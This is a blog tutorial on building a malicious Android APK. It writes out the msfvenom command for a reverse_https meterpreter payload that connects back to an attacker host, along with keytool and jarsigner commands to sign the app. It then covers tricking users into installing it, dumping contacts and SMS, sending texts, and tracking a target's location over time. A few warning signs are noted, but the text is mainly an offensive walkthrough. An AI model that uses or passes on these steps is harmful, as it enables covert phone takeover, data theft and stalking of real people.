In the modern world, almost every one of us has a mobile device in our pockets. Whether through Android, iOS, or even Windows, we have something that directly connects our lives to the internet. From texting to banking, smart phones can do it all. For better or worse, this means they are ripe for the picking in terms of an attack vector. Also according to the global market share for mobile device OS, Android controls around 84%. Apple comes in around 15%. With Android being the most common OS, this makes it a prime target for attackers. In fact, at the time of this writing, roughly 10 million Android devices are infected with the HummingBad malware.
In order to craft a malicious app we will have to take a look at what makes up the app. We will need the Android Application Package, or apk file. This package format contains everything needed to distribute or install an application, including metadata and actual program code. When a user downloads and installs an app, either from an official store or a 3rd-Party, they are downloading the apk file for the app. So the apk file is what we will want to look at as our way into the device.
This is going to be a brief walk through of creating a malicious Android Application Package (apk) file. The apk file will drop a meterpreter shell on the target.
Snake’s Venom
All of the tools used in this tutorial are native to Kali. For the purpose of our walkthrough, the target is a root OnePlus running Android 5.0.2 Lollipop. For the sake of testing this, we have physical access to the phone and are able to put the payload on it and install the apk file ourselves. Once the apk file is on the device we will need a handler to catch our meterpreter session.
We will be using MSFVenom to generate our apk payload. MSFVenom has a lot of different payload types for almost any situation you can think of. To see all the payloads at your disposal just give it the -l flag for a list. The simple way to know what payload you want is this: operating_system/shell_type/connection_type, in our case it is android/meterpreter/reverse_https. As is required by all reverse Metasploit payloads, msfvenom will also need a listening host and a target host. The full syntax can be seen here:
./msfvenom android/meterpreter/reverse_https LHOST=your_IP \
LPORT=your_port -o app_name.apkSign Here Please
So we have our Android payload but before we can load it onto our target we will have to sign our apk file. We are going to use keytool to generate key pairs and certificates. This utility is used to generate and store key pairs to be used for self-authentication. It will create a keystore database and keep track of the generated key pairs.
./keytool -genkey -v -keystore release-key.keystore -alias key_alias \
-keyalg RSA -keysize 2048 -validity 10000
Once we have generated the key we will need to use it to sign the apk file. For this we will use jarsigner. This tool will take the key pair in a keystore to digitaly sign the apk file. The tool will require a signature and digest algorithm, and be provided with the keystore to be used. Once the apk is signed we are ready for some shells.
./jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 \
-keystore release-key.keystore app_name.apk key_alias
Shells, Gotta Catch ’em All!
With some social engineering magic, we can trick a user into downloading our malicious app. Before I continue, it’s important to note that we’ve done the bare minimum up to this point. The application itself is just a payload and does not actually have any real functionality. There are some telltale signs that the app is not legitimate. The first thing to look at are the permissions the applications asks for, does it lineup with what the app does? Next are the default android icon and the name of the app, these are things that we had no control of changing. If we dig through the code that was generated by msfvenom we’ll find references to Metasploit, something that will get flagged every time. I have Avast-AntiVirus on my Moto X, and during initial testing it picked off the payload because it had detected malicious code.
When the victim goes to install our malicious application they will have a chance to review its requirements and permissions.
Once the victim clicks the app it will launch the payload and drop a meterpreter shell and kick it over to our handler. The Android meterpreter shares a lot of functionality and syntax with the other meterpreter flavors. We can still run sysinfo, ps, and even drop to shell and navigate the file system natively. Additionally, there are other things we can do specific to Android including dumping contacts and SMS messages to the screen. It is even possible to send a text message from the device.
Using meterpreter’s post modules we can find the device’s geo-location. Observing a target’s location over time can assist in the building of pattern of life data; you can know where the target works, where they live, and their favorite watering holes.
Shellder, the Meterpreter Type Pokémon
Now that we have covered the basics of crafting a malicious app, it’s worth looking at the practicality of such an attack vector. We really only need to look at the past few months to make that determination. As I said at the beginning of this post, millions of Android devices are now infected by the malware HummingBad. Moreover, with the recent launch of PokémonGo, there are now cloned versions of the app posing as the real thing. The copycat apps backdoor the device and grant remote access to waiting attackers.
Conclusion
Setting up a malicious app is fairly simple, but actually making it believable takes a bit more effort. Next time, we will try to tackle that scenario and attempt to embed shell-granting code into a functioning application.
Happy hunting!
